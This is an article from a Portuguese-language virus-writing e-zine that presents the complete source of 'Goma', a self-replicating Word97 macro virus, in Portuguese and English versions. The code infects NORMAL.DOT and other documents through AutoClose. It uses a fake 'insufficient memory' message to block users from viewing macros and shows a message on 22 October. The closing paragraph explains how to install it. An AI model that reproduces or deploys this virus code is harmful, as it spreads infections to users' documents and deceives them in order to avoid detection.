 
				/  __           ___          
			 |  /  |  |__)  |   |  (__           
			 |/    |  |  \  |___|  ___)          
									     
 
									     
           
             3 - Macro.Word.Goma por nim_bus@hotmail.com
           

        Arrumei um tempinho e voltar a codar exemplos eh muito bom, esses
   dias cheguei a conclusao que para se fazer um virus dos bons voce pre-
   cisa de muito trabalho e dedicacao, eu escrevo esse zine a um tempinho
   ja',mas de maneira alguma me considero um bom virii maker, o que apre-
   sento no zine sao exemplos  do que pode  ser feito todo o resto eh por
   sua conta, lembre-se que sua imaginacao eh o limite.

        Se voce eh leitor do zine ja deve ter  visto alguns virus de  ma-
   cro por ai, tem ate um tutorial excelente do LeBeau  em alguma  edicao
   passada, com instrucoes comentadas exemplos de macros e os caraio a 4.

        Nao vou me aprofundar no assunto, pois a linguagem eh muito facil
   e caso encontre alguma duvida  na sintaxe, sugiro  utilizar  o help do
   proprio word que  lhe auxiliara  bastante , ou de boa lida no tutorial
   que ja foi publicado outrora.

        O virus  abaixo eh  um virus de macro para o Word97, em portugues
   vou pensar se coloco a versao em ingles tambem, rola uma falta de tem-
   po, voce ta ligado !!!

        Mas voce deve estar se perguntando, caraco, jah tem o Word2000  e
   esse japoneis falando em Word97. Calma filho, tudo desde o comeco, es-
   queceu-se do nosso proposito ????  Esperamos que voce aprenda, nao que
   copie e cole e saia por ai dizendo que faz virus...

        A  sintaxe dos comandos esta  em portugues para o word em ingles,
   alteracoes sao necessarias...

        O virus contem apenas 3 macros , uma de copia, uma  de  seguranca
   para o virus nao ser detectado facilmente e outra de ativacao,a de co-
   pia  eh  bem comum  e aqui  utilizarei  a "AutoClose", poderia  usar a
   "AutoOpen" ou  qualquer outra automatica. A macro de seguranca desabi-
   lita a  abertura das macros para que o usuario veja ou altere, sugeri-
   ndo uma mensagem de falta de memoria . Jah a mensagem de ativacao por
   sua vez, coloca uma mensagem de texto na tela do windows, dizendo que
   estamos aqui.

        Sem maiores comentarios ...

 
      __   __ /  __   .   __    __          __   __        ___   __
     |    |  |  |  \  |  | _   |  |        |_   |  |  |\|   |   |_
     |__  |__|  |__/  |  |__|  |__|        |    |__|  | |   |   |__
									     
 

REM ************************** MACRO.WORD.GOMA ******************************
REM        Nome do virus: Goma.Word.Macro
REM        Autor : nim_bus@hotmail.com
REM        Home Page : http://virusbrasil.8m.com
REM        Tipo : Macro virus
REM        Linguagem : WordBasic -> VBA
REM        Ativacao : mensagem dia 22.10
REM        Bug's : deve ter entao favor entrar em contato caso voce detecte
REM                algum ...
REM        Works only under Word97 portuguese version
REM
REM ********************** Macro AutoClose *************************
Sub MAIN
On Error Goto Fim
'Conta os macros do NORMAL.DOT

    totMacro = ContarMacros(0)
    infectado = 0     ' Verifica se NORMAL.DOT ja esta infectado

    If totMacro > 0 Then
      For i = 1 To totMacro
        If NomeMacro$(i, 0) = "AutoClose" Then
          infectado = 32
        End If
      Next
    End If

    sDoc$ = NomeJanela$() + ":AutoClose"  'infectar NORMAL.DOT
    sMac$ = NomeJanela$() + ":FerramMacro"
    sFud$ = NomeJanela$() + ":GOMA"

    If infectado <> 32 Then
      MacroCopiar sDoc$, "Global:AutoClose"
      MacroCopiar sFud$, "Global:GOMA"
      MacroCopiar sMac$, "Global:FerramMacro"
    Else
      infectado = 0
       'verifica se documento j estava infectado
      If ContarMacros(1) <> 0 Then
        infectado = 32
      End If   
      'documento no estava infectado,
      'infecta-o copiando-o como .DOT
      If infectado = 0 Then
        ArquivoSalvarComo .Formato = 1
        MacroCopiar "Global:AutoClose", sDoc$
        MacroCopiar "Global:GOMA", sFud$
        MacroCopiar "Global:FerramMacro", sMac$
      End If
     End If
Fim:
Call GOMA
End Sub

REM ******************** Macro FerramMacro *************************
Sub MAIN' Desabilitar Opcao de Visualizar, Editar e Gravar Macros
Beep 'Um bip ja que deu erro
MsgBox "Memoria insuficiente para executar essa operao ", "Microsoft Word 7.0", 48
End Sub

REM *********************** Macro Goma *****************************
Sub MAIN' Rotina de Ativao do vrus
mes_at = Ms(Agora())' Pega data do sistema - Mes
dia_at = Dia(Agora())' Dia
If mes_at = 10 And dia_at = 22 Then'  o dia 22 de Outubro
MsgBox "Goma Word 7.0 Macro Virus", "[TDG'2000]", 48' Manda bala e avisa
                                                    ' que estamos aqui !
End If' Se nao for hoje, deixa quieto ...
End Sub
REM ************************** MACRO.WORD.GOMA ******************************


        Beleza, atendendo a pedidos, segue abaixo o virus para  o WORD97
   em ingles... Sem a macro de Seguranca para o virus, entao apenas duas
   macros nessa versao.

 
      __   __ /  __   .   __    __          __   __        ___   __
     |    |  |  |  \  |  | _   |  |        |_   |  |  |\|   |   |_
     |__  |__|  |__/  |  |__|  |__|        |    |__|  | |   |   |__
									     
 

REM ************************** MACRO.WORD.GOMA ******************************
REM        Nome do virus: Goma.Word.Macro
REM        Autor : nim_bus@hotmail.com
REM        Home Page : http://virusbrasil.8m.com
REM        Tipo : Macro virus
REM        Linguagem : WordBasic -> VBA
REM        Ativacao : mensagem dia 22.10
REM        Bug's : deve ter entao favor entrar em contato caso voce detecte
REM                algum ...
REM        Works only under Word97 english version
REM
REM ********************** Macro AutoClose *************************
Sub MAIN
On Error Goto Fim
REM GOMA MACRO WORD 97 VIRUS por nim_bus@hotmail.com
REM http://virusbrasil.8m.com

'Conta os macros do NORMAL.DOT

    totMacro = CountMacros(0)
    infectado = 0     ' Verifica se NORMAL.DOT ja esta infectado

    If totMacro > 0 Then
      For i = 1 To totMacro
        If MacroName$(i, 0) = "AutoClose" Then
          infectado = 32
        End If
      Next
    End If

    sDoc$ = WindowName$() + ":AutoClose"  'infectar NORMAL.DOT
    sFud$ = WindowName$() + ":GOMA"

    If infectado <> 32 Then
      MacroCopy sDoc$, "Global:AutoClose"
      MacroCopy sFud$, "Global:GOMA"
    Else
      infectado = 0
       'verifica se documento j estava infectado
      If CountMacros(1) <> 0 Then
        infectado = 32
      End If   
      'documento no estava infectado,
      'infecta-o copiando-o como .DOT
      If infectado = 0 Then
        FileSaveAs .Format = 1
        MacroCopy "Global:AutoClose", sDoc$
        MacroCopy "Global:GOMA", sFud$
      End If
     End If
Fim:
Call GOMA
End Sub


REM *********************** Macro Goma *****************************
Sub MAIN' Rotina de Ativao do vrus
mes_at = Month(Now())' Pega data do sistema - Mes
dia_at = Day(Now())' Dia
If mes_at = 10 And dia_at = 22 Then'  o dia 22 de Outubro
MsgBox "Goma Word 97 Macro Virus", "[TDG'2000]", 48' Manda bala e avisa 										         ' que estamos aqui !
End If' Se nao for hoje, deixa quieto ...
End Sub
REM ************************** MACRO.WORD.GOMA ******************************


        O virus ta ai, tanto em portuga como em ingles, agora eh com vo-
   ce soh  falta  abrir o Word  entrar em  macro, gravar macros, criar a
   "AutoClose" e colocar ela lah, criar a "FerramMacro" e a GOMA, ai meu
   amigo, salvou o documento e eh soh sair pro abraco...

        Duvidas em relacao ao codigo, ao algoritmo ou qualquer coisa, de
   um toque, mande um e-mail ...

        
                                   Fico por aqui,
                                                     nim_bus@hotmail.com

     
                       Copyright  2001, Vrus Brasil 
 
